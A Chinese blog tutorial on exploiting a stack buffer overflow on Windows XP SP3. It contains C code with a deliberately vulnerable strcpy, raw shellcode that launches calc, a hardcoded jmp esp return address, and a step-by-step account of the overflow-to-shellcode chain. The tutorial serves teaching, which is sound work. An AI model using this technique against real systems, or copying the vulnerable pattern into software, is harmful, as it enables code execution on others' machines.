漏洞利用—栈溢出

下面的代码可以在xp sp3系统上运行测试:

int vulnfun(char* str)
{
	char stack[10];
	strcpy(stack, str);

	return 0;
}

int main()
{
	unsigned char shellcode[] =
		"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
		"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
		"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
		"\x7b\x1d\x80\x7c"
		"\x52\x8D\x45\xF4\x50"
		"\xFF\x55\xF0"
		"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6C\x63\x89\x45\xF4\x33\xC0\x89\x45\xF8"
		"\x8D\x45\xF4"
		"\x50\xB8"
		"\xc7\x93\xbf\x77"
		"\xFF\xD0";

	char *strSelf = "AAAAAAAAAAAAAAAA";
	char strJmp[4] = { 0x13, 0x44, 0x87, 0x7C};
	
	char strOverflow[1024] = { 0 };
	memcpy(strOverflow, strSelf, strlen(strSelf));
	memcpy(strOverflow + strlen(strSelf), strJmp, 4);
	memcpy(strOverflow + strlen(strSelf) + 4, shellcode, sizeof(shellcode) - 1);

	//溢出点
	vulnfun(strOverflow);

	return 0;
}

1)shellcode功能为弹出一个计算器calc。
2)strJmp地址0x7C874413指向的是jmp esp指令。溢出利用的关键在于覆盖返回地址,而这个地址需要是一个固定地址,因为传入的字符串是无法知道相对地址的。所以要在整个exe中搜索“jmp esp”指令也就是“FF E4”二进制。找到后,就可以将返回地址指向“jmp esp”。
3)在覆盖返回地址后,紧跟着的就是shellcode代码。而此时的esp就是指向的shellcode。所以就需要“jmp esp”来定位到shellcode上。
4)栈溢出漏洞利用过程:溢出->覆盖返回地址->jmp esp/call esp->shellcode

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

孤月丶星辰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值